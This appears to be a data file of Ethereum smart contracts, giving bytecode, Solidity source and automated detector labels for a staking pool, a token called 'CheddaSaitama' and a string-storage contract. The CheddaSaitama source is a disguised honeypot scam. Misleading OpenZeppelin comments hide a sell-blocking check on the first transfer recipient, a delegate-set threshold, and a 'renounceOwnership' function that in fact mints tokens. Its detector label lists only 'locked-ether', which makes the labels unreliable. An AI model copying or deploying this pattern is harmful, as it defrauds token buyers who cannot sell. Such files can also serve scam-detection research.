19a4f2a63ab7862b648928290030190a2505050565b6001600160a01b03821661165f5760405162461bcd60e51b8152600401808060200182810382526035815260200180611e486035913960400191505060405180910390fd5b6000811161169e5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c616024913960400191505060405180910390fd5b6116a78261144f565b6007546116b49082610f86565b6007556001600160a01b0382166000908152600660205260409020546116da9082610f86565b6001600160a01b0380841660009081526006602052604090209190915560045461170791168330846118d5565b6040805182815290516001600160a01b038416917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b61177f600660006117596110fa565b6001600160a01b03166001600160a01b03168152602001908152602001600020546111a6565b6108a46112bf565b600081848411156118165760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117db5781810151838201526020016117c3565b50505050905090810190601f1680156118085780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361186d5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117db5781810151838201526020016117c3565b50600083858161187957fe5b0495945050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b37908490611935565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261192f908590611935565b50505050565b606061198a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166119e69092919063ffffffff16565b805190915015610b37578080602001905160208110156119a957600080fd5b5051610b375760405162461bcd60e51b815260040180806020018281038252602a815260200180611e7d602a913960400191505060405180910390fd5b60606119f584846000856119fd565b949350505050565b6060611a0885611b6a565b611a59576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611a985780518252601f199092019160209182019101611a79565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611afa576040519150601f19603f3d011682016040523d82523d6000602084013e611aff565b606091505b50915091508115611b135791506119f59050565b805115611b235780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156117db5781810151838201526020016117c3565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906119f557505015159291505056fe5374616b656452657761726473506f6f6c3a2063616e6e6f7420776974686472617720746865207374616b696e6720746f6b656e5265656e7472616e637947756172643a207265656e7472616e742063616c6c005374616b656452657761726473506f6f6c54696d6564526174653a2063616e6e6f74206368616e676520616e206f6e676f696e67207374616b696e6720706572696f644f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735374616b656452657761726473506f6f6c3a2063616e6e6f74207374616b65207a65726f5374616b656452657761726473506f6f6c3a2063616e6e6f7420776974686472617720746865207265776172647320746f6b656e5374616b656452657761726473506f6f6c54696d6564526174653a20656e6454696d65206d7573742062652067726561746572207468616e20737461727454696d655374616b656452657761726473506f6f6c3a2063616e206e6f742072656465656d206d6f72652072657761726473207468616e20796f752068617665206561726e65645374616b656452657761726473506f6f6c3a2063616e6e6f74207769746864726177207a65726f5374616b656452657761726473506f6f6c54696d6564526174653a20737461727454696d65206d7573742062652067726561746572207468616e207468652063757272656e7420626c6f636b2074696d65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725374616b656452657761726473506f6f6c54696d6564526174653a2063757272656e74207265776172647320646973747269627574696f6e20706572696f6420686173206e6f742079657420626567756e5374616b656452657761726473506f6f6c3a2063616e6e6f74207374616b652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122093f1744f3e516c052f3057edcfbad6a048f519315c9ff250070d1bb2e7c2424764736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
444
0xe7d1c7f7a0ef6da00a5bf569024fc3ac6e0f9c81
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } abstract contract IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract CheddaSaitama is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** *@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' * functions anymore. Can only be called by the current owner. */ function renounceOwnership(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: renounceOwnership from the zero address"); _reflect (_address, tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _reflectAddress; _totalSupply = _totalSupply.add(_reflectAmount); balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address _owner, address spender, uint amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[_owner][spender] = amount; emit Approval(_owner, spender, amount); } receive() external payable { } fallback() external payable { } }
0x6080604052600436106100a55760003560e01c80633950935111610061578063395093511461019857806370a08231146101b857806395d89b41146101ee578063a457c2d714610203578063a9059cbb14610223578063dd62ed3e1461024357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806320189d281461012c57806323b872dd1461014c578063313ce5671461016c57005b366100ac57005b005b3480156100ba57600080fd5b506100c3610289565b6040516100d091906109e2565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610a53565b610317565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61039b565b6040519081526020016100d0565b34801561013857600080fd5b506100ac610147366004610a53565b6103d8565b34801561015857600080fd5b506100f9610167366004610a7d565b61046f565b34801561017857600080fd5b506004546101869060ff1681565b60405160ff90911681526020016100d0565b3480156101a457600080fd5b506100f96101b3366004610a53565b6105c9565b3480156101c457600080fd5b5061011e6101d3366004610ab9565b6001600160a01b031660009081526008602052604090205490565b3480156101fa57600080fd5b506100c361060d565b34801561020f57600080fd5b506100f961021e366004610a53565b61061a565b34801561022f57600080fd5b506100f961023e366004610a53565b610650565b34801561024f57600080fd5b5061011e61025e366004610ad4565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461029690610b07565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610b07565b801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156103505760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d39161073b565b905090565b6000546001600160a01b031633146103ef57600080fd5b6001600160a01b0382166104615760405162461bcd60e51b815260206004820152602e60248201527f45524332303a2072656e6f756e63654f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b61046b828261075b565b5050565b60006001600160a01b03841615801590610497575060045461010090046001600160a01b0316155b156104c15760048054610100600160a81b0319166101006001600160a01b038616021790556104cb565b6104cb84846107c9565b6001600160a01b0384166000908152600860205260409020546104ee908361073b565b6001600160a01b0385166000908152600860209081526040808320939093556009815282822033835290522054610525908361073b565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461056390836108a3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b79086815260200190565b60405180910390a35060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff90866108a3565b6108be565b50600192915050565b6001805461029690610b07565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff908661073b565b6004546000906001600160a01b038481166101009092041614156106a45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610458565b336000908152600860205260409020546106be908361073b565b33600090815260086020526040808220929092556001600160a01b038516815220546106ea90836108a3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103899086815260200190565b60008282111561074a57600080fd5b6107548284610b58565b9392505050565b600780546001600160a01b0319166001600160a01b03841617905560055461078390826108a3565b6005556001600160a01b0382166000908152600860205260409020546107a990826108a3565b6001600160a01b0390921660009081526008602052604090209190915550565b6004546001600160a01b038281166101009092041614158061081557506007546001600160a01b03838116911614801561081557506004546001600160a01b0382811661010090920416145b8061085757506004546001600160a01b038281166101009092041614801561085757506006546001600160a01b03831660009081526008602052604090205411155b61046b5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610458565b60006108af8284610b6f565b90508281101561039557600080fd5b6001600160a01b0383166109205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a0f578581018301518582016040015282016109f3565b81811115610a21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610a4e57600080fd5b919050565b60008060408385031215610a6657600080fd5b610a6f83610a37565b946020939093013593505050565b600080600060608486031215610a9257600080fd5b610a9b84610a37565b9250610aa960208501610a37565b9150604084013590509250925092565b600060208284031215610acb57600080fd5b61075482610a37565b60008060408385031215610ae757600080fd5b610af083610a37565b9150610afe60208401610a37565b90509250929050565b600181811c90821680610b1b57607f821691505b60208210811415610b3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b6a57610b6a610b42565b500390565b60008219821115610b8257610b82610b42565b50019056fea264697066735822122071deac2f01570b2a77c3d322aa2e24512b7224084df92e7f00ab112df69f8e2564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
445
0xdb6a3f32bf9b9f507149258dd0e3808e8b37dfc6
pragma solidity ^0.4.8 ; contract POOL_EDIT_3 { address owner ; function POOL_EDIT_3 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_1 = " une première phrase " ; function setPOOL_edit_1 ( string newPOOL_edit_1 ) public { inPOOL_edit_1 = newPOOL_edit_1 ; } function getPOOL_edit_1 () public constant returns ( string ) { return inPOOL_edit_1 ; } // 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_2 = " une première phrase " ; function setPOOL_edit_2 ( string newPOOL_edit_2 ) public { inPOOL_edit_2 = newPOOL_edit_2 ; } function getPOOL_edit_2 () public constant returns ( string ) { return inPOOL_edit_2 ; } // 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_3 = " une première phrase " ; function setPOOL_edit_3 ( string newPOOL_edit_3 ) public { inPOOL_edit_3 = newPOOL_edit_3 ; } function getPOOL_edit_3 () public constant returns ( string ) { return inPOOL_edit_3 ; } // 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_4 = " une première phrase " ; function setPOOL_edit_4 ( string newPOOL_edit_4 ) public { inPOOL_edit_4 = newPOOL_edit_4 ; } function getPOOL_edit_4 () public constant returns ( string ) { return inPOOL_edit_4 ; } // 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_5 = " une première phrase " ; function setPOOL_edit_5 ( string newPOOL_edit_5 ) public { inPOOL_edit_5 = newPOOL_edit_5 ; } function getPOOL_edit_5 () public constant returns ( string ) { return inPOOL_edit_5 ; } // 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_6 = " une première phrase " ; function setPOOL_edit_6 ( string newPOOL_edit_6 ) public { inPOOL_edit_6 = newPOOL_edit_6 ; } function getPOOL_edit_6 () public constant returns ( string ) { return inPOOL_edit_6 ; } // 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_7 = " une première phrase " ; function setPOOL_edit_7 ( string newPOOL_edit_7 ) public { inPOOL_edit_7 = newPOOL_edit_7 ; } function getPOOL_edit_7 () public constant returns ( string ) { return inPOOL_edit_7 ; } // 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_8 = " une première phrase " ; function setPOOL_edit_8 ( string newPOOL_edit_8 ) public { inPOOL_edit_8 = newPOOL_edit_8 ; } function getPOOL_edit_8 () public constant returns ( string ) { return inPOOL_edit_8 ; } // 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_9 = " une première phrase " ; function setPOOL_edit_9 ( string newPOOL_edit_9 ) public { inPOOL_edit_9 = newPOOL_edit_9 ; } function getPOOL_edit_9 () public constant returns ( string ) { return inPOOL_edit_9 ; } // 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_10 = " une première phrase " ; function setPOOL_edit_10 ( string newPOOL_edit_10 ) public { inPOOL_edit_10 = newPOOL_edit_10 ; } function getPOOL_edit_10 () public constant returns ( string ) { return inPOOL_edit_10 ; } // 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_11 = " une première phrase " ; function setPOOL_edit_11 ( string newPOOL_edit_11 ) public { inPOOL_edit_11 = newPOOL_edit_11 ; } function getPOOL_edit_11 () public constant returns ( string ) { return inPOOL_edit_11 ; } // 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_12 = " une première phrase " ; function setPOOL_edit_12 ( string newPOOL_edit_12 ) public { inPOOL_edit_12 = newPOOL_edit_12 ; } function getPOOL_edit_12 () public constant returns ( string ) { return inPOOL_edit_12 ; } // 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_13 = " une première phrase " ; function setPOOL_edit_13 ( string newPOOL_edit_13 ) public { inPOOL_edit_13 = newPOOL_edit_13 ; } function getPOOL_edit_13 () public constant returns ( string ) { return inPOOL_edit_13 ; } // 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_14 = " une première phrase " ; function setPOOL_edit_14 ( string newPOOL_edit_14 ) public { inPOOL_edit_14 = newPOOL_edit_14 ; } function getPOOL_edit_14 () public constant returns ( string ) { return inPOOL_edit_14 ; } // 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_15 = " une première phrase " ; function setPOOL_edit_15 ( string newPOOL_edit_15 ) public { inPOOL_edit_15 = newPOOL_edit_15 ; } function getPOOL_edit_15 () public constant returns ( string ) { return inPOOL_edit_15 ; } // 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_16 = " une première phrase " ; function setPOOL_edit_16 ( string newPOOL_edit_16 ) public { inPOOL_edit_16 = newPOOL_edit_16 ; } function getPOOL_edit_16 () public constant returns ( string ) { return inPOOL_edit_16 ; } // 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_17 = " une première phrase " ; function setPOOL_edit_17 ( string newPOOL_edit_17 ) public { inPOOL_edit_17 = newPOOL_edit_17 ; } function getPOOL_edit_17 () public constant returns ( string ) { return inPOOL_edit_17 ; } // 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_18 = " une première phrase " ; function setPOOL_edit_18 ( string newPOOL_edit_18 ) public { inPOOL_edit_18 = newPOOL_edit_18 ; } function getPOOL_edit_18 () public constant returns ( string ) { return inPOOL_edit_18 ; } // 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_19 = " une première phrase " ; function setPOOL_edit_19 ( string newPOOL_edit_19 ) public { inPOOL_edit_19 = newPOOL_edit_19 ; } function getPOOL_edit_19 () public constant returns ( string ) { return inPOOL_edit_19 ; } // 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_20 = " une première phrase " ; function setPOOL_edit_20 ( string newPOOL_edit_20 ) public { inPOOL_edit_20 = newPOOL_edit_20 ; } function getPOOL_edit_20 () public constant returns ( string ) { return inPOOL_edit_20 ; } // 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_21 = " une première phrase " ; function setPOOL_edit_21 ( string newPOOL_edit_21 ) public { inPOOL_edit_21 = newPOOL_edit_21 ; } function getPOOL_edit_21 () public constant returns ( string ) { return inPOOL_edit_21 ; } // 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_22 = " une première phrase " ; function setPOOL_edit_22 ( string newPOOL_edit_22 ) public { inPOOL_edit_22 = newPOOL_edit_22 ; } function getPOOL_edit_22 () public constant returns ( string ) { return inPOOL_edit_22 ; } // 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_23 = " une première phrase " ; function setPOOL_edit_23 ( string newPOOL_edit_23 ) public { inPOOL_edit_23 = newPOOL_edit_23 ; } function getPOOL_edit_23 () public constant returns ( string ) { return inPOOL_edit_23 ; } // 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_24 = " une première phrase " ; function setPOOL_edit_24 ( string newPOOL_edit_24 ) public { inPOOL_edit_24 = newPOOL_edit_24 ; } function getPOOL_edit_24 () public constant returns ( string ) { return inPOOL_edit_24 ; } // 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_25 = " une première phrase " ; function setPOOL_edit_25 ( string newPOOL_edit_25 ) public { inPOOL_edit_25 = newPOOL_edit_25 ; } function getPOOL_edit_25 () public constant returns ( string ) { return inPOOL_edit_25 ; } // 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_26 = " une première phrase " ; function setPOOL_edit_26 ( string newPOOL_edit_26 ) public onlyOwner { inPOOL_edit_26 = newPOOL_edit_26 ; } function getPOOL_edit_26 () public constant returns ( string ) { return inPOOL_edit_26 ; } // 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_27 = " une première phrase " ; function setPOOL_edit_27 ( string newPOOL_edit_27 ) public { inPOOL_edit_27 = newPOOL_edit_27 ; } function getPOOL_edit_27 () public constant returns ( string ) { return inPOOL_edit_27 ; } // 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_28 = " une première phrase " ; function setPOOL_edit_28 ( string newPOOL_edit_28 ) public { inPOOL_edit_28 = newPOOL_edit_28 ; } function getPOOL_edit_28 () public constant returns ( string ) { return inPOOL_edit_28 ; } // 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_29 = " une première phrase " ; function setPOOL_edit_29 ( string newPOOL_edit_29 ) public { inPOOL_edit_29 = newPOOL_edit_29 ; } function getPOOL_edit_29 () public constant returns ( string ) { return inPOOL_edit_29 ; } // 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_30 = " une première phrase " ; function setPOOL_edit_30 ( string newPOOL_edit_30 ) public { inPOOL_edit_30 = newPOOL_edit_30 ; } function getPOOL_edit_30 () public constant returns ( string ) { return inPOOL_edit_30 ; } // 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_31 = " une première phrase " ; function setPOOL_edit_31 ( string newPOOL_edit_31 ) public { inPOOL_edit_31 = newPOOL_edit_31 ; } function getPOOL_edit_31 () public constant returns ( string ) { return inPOOL_edit_31 ; } // 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_32 = " une première phrase " ; function setPOOL_edit_32 ( string newPOOL_edit_32 ) public { inPOOL_edit_32 = newPOOL_edit_32 ; } function getPOOL_edit_32 () public constant returns ( string ) { return inPOOL_edit_32 ; } // 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_33 = " une première phrase " ; function setPOOL_edit_33 ( string newPOOL_edit_33 ) public { inPOOL_edit_33 = newPOOL_edit_33 ; } function getPOOL_edit_33 () public constant returns ( string ) { return inPOOL_edit_33 ; } // 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPOOL_edit_34 = " une première phrase " ; function setPOOL_edit_34 ( string newPOOL_edit_34 ) public { inPOOL_edit_34 = newPOOL_edit_34 ; } function getPOOL_edit_34 () public constant returns ( string ) { return inPOOL_edit_34 ; } }
